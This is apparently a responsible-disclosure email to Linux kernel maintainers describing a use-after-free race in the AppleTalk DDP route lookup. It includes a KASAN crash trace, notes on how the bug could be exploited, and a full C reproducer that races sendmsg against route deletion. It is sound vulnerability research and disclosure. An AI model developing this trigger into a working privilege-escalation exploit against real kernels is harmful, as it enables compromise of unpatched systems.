Security: use-after-free in appletalk atalk_sendmsg route lookup, leading to local privilege escalation
From: xlabai <hidden>
Date: 2026-05-26 09:21:58
Hi,
We found a use-after-free vulnerability in the AppleTalk DDP routing path.
atrtr_find() returns a raw struct atalk_route pointer after releasing the
routing table rwlock, with no reference counting or RCU protection. In
atalk_sendmsg(), this pointer is held across sock_alloc_send_skb() which
sleeps when the send buffer is full. A concurrent atrtr_delete() via ioctl
frees the route during this window, and the subsequent access to rt->flags
and rt->gateway is a use-after-free read on a freed kmalloc-32 object.
## Affected versions
Introduced: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Latest affected: v7.1-rc4 (current mainline)
The vulnerable pattern has existed since the initial AppleTalk routing
implementation. Verified on Linux v7.1-rc4 (arm64, CONFIG_ATALK=y, KASAN
enabled).
## Description
atrtr_find() (net/appletalk/ddp.c:437) traverses the routing table under
read_lock_bh(&atalk_routes_lock), finds a matching route, then releases
the lock and returns the raw pointer. No reference count is taken, no RCU
grace period protects the returned object.
In atalk_sendmsg() (net/appletalk/ddp.c:1604), the returned pointer is
saved in a local variable `rt`. The code then:
1. Dereferences rt->dev (line 1617)
2. Calls release_sock(sk) (line 1638)
3. Calls sock_alloc_send_skb() which can sleep indefinitely (line 1639)
4. After waking, accesses rt->flags (line 1678, 1707) and rt->gateway
(line 1708)
Between steps 2 and 4, a concurrent atrtr_delete() can unlink and kfree()
the route object. The compat ioctl path for SIOCDELRT lacks the
CAP_NET_ADMIN check present in the native path, allowing an unprivileged
32-bit process to delete routes.
The race window is deterministically controllable: the attacker fills the
socket's send buffer before calling sendmsg, forcing sock_alloc_send_skb()
to sleep waiting for buffer space. This gives an arbitrarily wide window
for the concurrent delete.
## Impact
- UAF read on kmalloc-32: rt->flags (4 bytes at offset 16) and
rt->gateway (4 bytes at offset 12) are read from a freed slab object.
Attacker-controlled heap spray data controls branch conditions.
- Pointer dereference via rt->dev: the dev pointer (offset 0) is cached
at line 1617 BEFORE the sleep point, so corrupting it requires winning
a much tighter race (~13 instructions between atrtr_find() return and
the cache). The wider sleep-window UAF affects rt->flags and
rt->gateway reads only.
- Privilege escalation possible: controllable UAF read on rt->flags and
rt->gateway in kmalloc-32 cache allows branch control and destination
manipulation. Combined with the narrow-window rt->dev corruption,
a fake net_device pointer could lead to function pointer dereference,
but practical exploitation difficulty is higher than the wide-window
primitive alone suggests.
## Conditions
- CONFIG_ATALK=y or =m (most distros build as module; auto-loaded via
socket(AF_APPLETALK, ...))
- No capabilities required: AF_APPLETALK socket creation is unprivileged;
route deletion via compat ioctl path bypasses CAP_NET_ADMIN
- Race window fully controllable via send buffer filling (no timing luck
needed)
- Architecture independent (verified on arm64)
## Suspected location
net/appletalk/ddp.c:
- atrtr_find() (line 437-482): returns unprotected pointer
- atalk_sendmsg() (line 1604-1708): holds stale pointer across sleep
- atrtr_delete() (line 593-615): frees route with kfree() immediately
## Reproducer
Build: aarch64-linux-gnu-gcc -O2 -Wall -static -lpthread -o trigger trigger.c
Run: ./trigger [iterations] (as root, then check dmesg)
Kernel: any with CONFIG_ATALK=y, KASAN enabled for detection
The PoC creates an AF_APPLETALK socket, configures an interface, adds a
route, then races sendmsg (which sleeps in sock_alloc_send_skb after
filling the send buffer) against ioctl SIOCDELRT. On the first iteration,
KASAN fires on the freed kmalloc-32 access.
Verified on arm64 (Linux v7.1-rc4, KASAN enabled):
==================================================================
BUG: KASAN: slab-use-after-free in atalk_sendmsg+0xfa0/0x105c
Read of size 4 at addr ffff0000c2ff3e70 by task trigger/54
CPU: 0 UID: 0 PID: 54 Comm: trigger Not tainted 7.1.0-rc4 #3 PREEMPTLAZY
Hardware name: linux,dummy-virt (DT)
Call trace:
show_stack+0x14/0x1c (C)
dump_stack_lvl+0x88/0xc4
print_report+0x110/0x59c
kasan_report+0xb0/0xf0
__asan_report_load4_noabort+0x1c/0x24
atalk_sendmsg+0xfa0/0x105c
__sys_sendto+0x210/0x318
__arm64_sys_sendto+0xbc/0x12c
Allocated by task 50:
__kasan_kmalloc+0xc8/0xcc
__kmalloc_cache_noprof+0x21c/0x424
atrtr_create+0x4a8/0x7e0
atif_ioctl+0x524/0xf2c
atalk_ioctl+0x188/0x2d4
Freed by task 50:
__kasan_slab_free+0x80/0xac
kfree+0x25c/0x55c
atrtr_delete+0x180/0x238
atrtr_ioctl+0xd4/0x10c
atalk_ioctl+0x1d0/0x2d4
The buggy address belongs to the object at ffff0000c2ff3e60
which belongs to the cache kmalloc-32 of size 32
The buggy address is located 16 bytes inside of
freed 32-byte region [ffff0000c2ff3e60, ffff0000c2ff3e80)
==================================================================
--- trigger.c ---#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/rtnetlink.h>
#define AF_APPLETALK 5
#define PF_APPLETALK AF_APPLETALK
#define ATADDR_ANYNODE 0
#define ATADDR_BCAST 255
#define SIOCADDRT 0x890B
#define SIOCDELRT 0x890C
struct atalk_addr {
__u16 s_net;
__u8 s_node;
};
struct sockaddr_at {
sa_family_t sat_family;
__u8 sat_port;
struct atalk_addr sat_addr;
char sat_zero[8];
};
struct rtentry {
unsigned long rt_pad1;
struct sockaddr rt_dst;
struct sockaddr rt_gateway;
struct sockaddr rt_genmask;
unsigned short rt_flags;
short rt_pad2;
unsigned long rt_pad3;
void *rt_pad4;
short rt_metric;
char *rt_dev;
unsigned long rt_mtu;
unsigned long rt_window;
unsigned short rt_irtt;
};
#define RTF_UP 0x0001
#define RTF_GATEWAY 0x0002
#define RTF_HOST 0x0004
#define ATALK_NET 0x0100
#define ATALK_NODE 1
#define ATALK_PORT 1
#define SIOCSIFADDR 0x8916
static volatile int race_done = 0;
static int route_fd = -1;
static void configure_interface(void) {
int fd = socket(AF_APPLETALK, SOCK_DGRAM, 0);
if (fd < 0) {
perror("socket(AF_APPLETALK) for config");
exit(1);
}
struct ifreq ifr;
struct sockaddr_at *sat;
FILE *fp = popen("ls /sys/class/net/ 2>/dev/null", "r");
char iface[64];
int configured = 0;
while (fp && fgets(iface, sizeof(iface), fp)) {
iface[strcspn(iface, "\n")] = 0;
if (strlen(iface) == 0) continue;
if (strcmp(iface, "lo") == 0) continue;
char cmd[128];
snprintf(cmd, sizeof(cmd), "ip link set %s up 2>/dev/null", iface);
system(cmd);
usleep(100000);
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, iface, IFNAMSIZ);
sat = (struct sockaddr_at *)&ifr.ifr_addr;
sat->sat_family = AF_APPLETALK;
sat->sat_addr.s_net = htons(ATALK_NET);
sat->sat_addr.s_node = ATALK_NODE;
sat->sat_zero[0] = 2;
sat->sat_zero[1] = (ATALK_NET >> 8) & 0xFF;
sat->sat_zero[2] = ATALK_NET & 0xFF;
sat->sat_zero[3] = ((ATALK_NET + 1) >> 8) & 0xFF;
sat->sat_zero[4] = (ATALK_NET + 1) & 0xFF;
if (ioctl(fd, SIOCSIFADDR, &ifr) == 0) {
printf("[+] AppleTalk address configured on %s (Ethernet)\n", iface);
configured = 1;
break;
}
printf("[-] Failed on %s: %s\n", iface, strerror(errno));
}
if (fp) pclose(fp);
if (!configured) {
system("ip link set lo up 2>/dev/null");
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
sat = (struct sockaddr_at *)&ifr.ifr_addr;
sat->sat_family = AF_APPLETALK;
sat->sat_addr.s_net = htons(ATALK_NET);
sat->sat_addr.s_node = ATALK_NODE;
if (ioctl(fd, SIOCSIFADDR, &ifr) < 0) {
perror("SIOCSIFADDR loopback");
exit(1);
}
printf("[+] AppleTalk on lo (race window will be narrow)\n");
}
close(fd);
}
static int add_atalk_route(void) {
struct rtentry rt;
struct sockaddr_at *sat;
memset(&rt, 0, sizeof(rt));
sat = (struct sockaddr_at *)&rt.rt_dst;
sat->sat_family = AF_APPLETALK;
sat->sat_addr.s_net = htons(ATALK_NET);
sat->sat_addr.s_node = 0;
sat = (struct sockaddr_at *)&rt.rt_gateway;
sat->sat_family = AF_APPLETALK;
sat->sat_addr.s_net = htons(ATALK_NET);
sat->sat_addr.s_node = 2;
rt.rt_flags = RTF_UP | RTF_GATEWAY;
rt.rt_dev = NULL;
if (ioctl(route_fd, SIOCADDRT, &rt) < 0) {
if (errno != EEXIST) {
perror("SIOCADDRT");
return -1;
}
}
return 0;
}
static int delete_atalk_route(void) {
struct rtentry rt;
struct sockaddr_at *sat;
memset(&rt, 0, sizeof(rt));
sat = (struct sockaddr_at *)&rt.rt_dst;
sat->sat_family = AF_APPLETALK;
sat->sat_addr.s_net = htons(ATALK_NET);
sat->sat_addr.s_node = 2;
rt.rt_flags = RTF_GATEWAY;
if (ioctl(route_fd, SIOCDELRT, &rt) < 0) {
return -1;
}
return 0;
}
struct sender_args {
int fd;
int attempt;
};
static void *sender_thread(void *arg) {
struct sender_args *sa = (struct sender_args *)arg;
int fd = sa->fd;
struct sockaddr_at dest;
char buf[64];
memset(&dest, 0, sizeof(dest));
dest.sat_family = AF_APPLETALK;
dest.sat_addr.s_net = htons(ATALK_NET);
dest.sat_addr.s_node = 2;
dest.sat_port = 10;
memset(buf, 'A', sizeof(buf));
int ret = sendto(fd, buf, sizeof(buf), 0,
(struct sockaddr *)&dest, sizeof(dest));
if (ret < 0 && errno != ENETUNREACH && errno != EAGAIN) {
}
race_done = 1;
return NULL;
}
static void fill_sndbuf(int fd) {
struct sockaddr_at dest;
char buf[512];
int sndbuf = 4096;
setsockopt(fd, SOL_SOCKET, SO_SNDBUF, &sndbuf, sizeof(sndbuf));
memset(&dest, 0, sizeof(dest));
dest.sat_family = AF_APPLETALK;
dest.sat_addr.s_net = htons(ATALK_NET);
dest.sat_addr.s_node = 2;
dest.sat_port = 10;
memset(buf, 'B', sizeof(buf));
for (int i = 0; i < 30; i++) {
int ret = sendto(fd, buf, sizeof(buf), MSG_DONTWAIT,
(struct sockaddr *)&dest, sizeof(dest));
if (ret < 0) {
break;
}
}
}
int main(int argc, char **argv) {
int send_fd;
struct sockaddr_at bind_addr;
pthread_t tid;
int iterations = 100;
if (argc > 1) iterations = atoi(argv[1]);
printf("=== AppleTalk DDP Route UAF Trigger ===\n");
printf("[*] Will run %d iterations\n", iterations);
route_fd = socket(AF_APPLETALK, SOCK_DGRAM, 0);
if (route_fd < 0) {
perror("socket(AF_APPLETALK) for routing");
return 1;
}
configure_interface();
send_fd = socket(AF_APPLETALK, SOCK_DGRAM, 0);
if (send_fd < 0) {
perror("socket(AF_APPLETALK) for send");
return 1;
}
memset(&bind_addr, 0, sizeof(bind_addr));
bind_addr.sat_family = AF_APPLETALK;
bind_addr.sat_addr.s_net = htons(ATALK_NET);
bind_addr.sat_addr.s_node = ATALK_NODE;
bind_addr.sat_port = ATALK_PORT;
if (bind(send_fd, (struct sockaddr *)&bind_addr, sizeof(bind_addr)) < 0) {
perror("bind");
}
printf("[*] Starting race...\n");
for (int attempt = 0; attempt < iterations; attempt++) {
race_done = 0;
struct sender_args sa = { .fd = send_fd, .attempt = attempt };
if (add_atalk_route() < 0) {
continue;
}
fill_sndbuf(send_fd);
pthread_create(&tid, NULL, sender_thread, &sa);
usleep(5000);
delete_atalk_route();
pthread_join(tid, NULL);
if (attempt % 20 == 19) {
printf("[*] Completed %d/%d iterations\n", attempt + 1, iterations);
}
}
printf("[*] Done. Check dmesg for KASAN reports.\n");
system("dmesg | grep -A5 'BUG: KASAN' | head -40");
close(send_fd);
close(route_fd);
return 0;
}--- end trigger.c ---
## Fix We have submitted a patch via git-send-email: Message-ID: [ref] ## Credit This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab (xlabai@tencent.com) - Atuin Automated Vulnerability Discovery Engine - Zhenghang Xiao (kipreyyy@gmail.com) - Guannan Wang (wgnbuaa@gmail.com) - Zhanpeng Liu (pkugenuine@gmail.com) - Jiashuo Liang (761232680@qq.com) - Guancheng Li (lgcpku@gmail.com) CVE and credits are preferred. If you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is xlabai@tencent.com. We follow the security industry standard disclosure policy -- the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.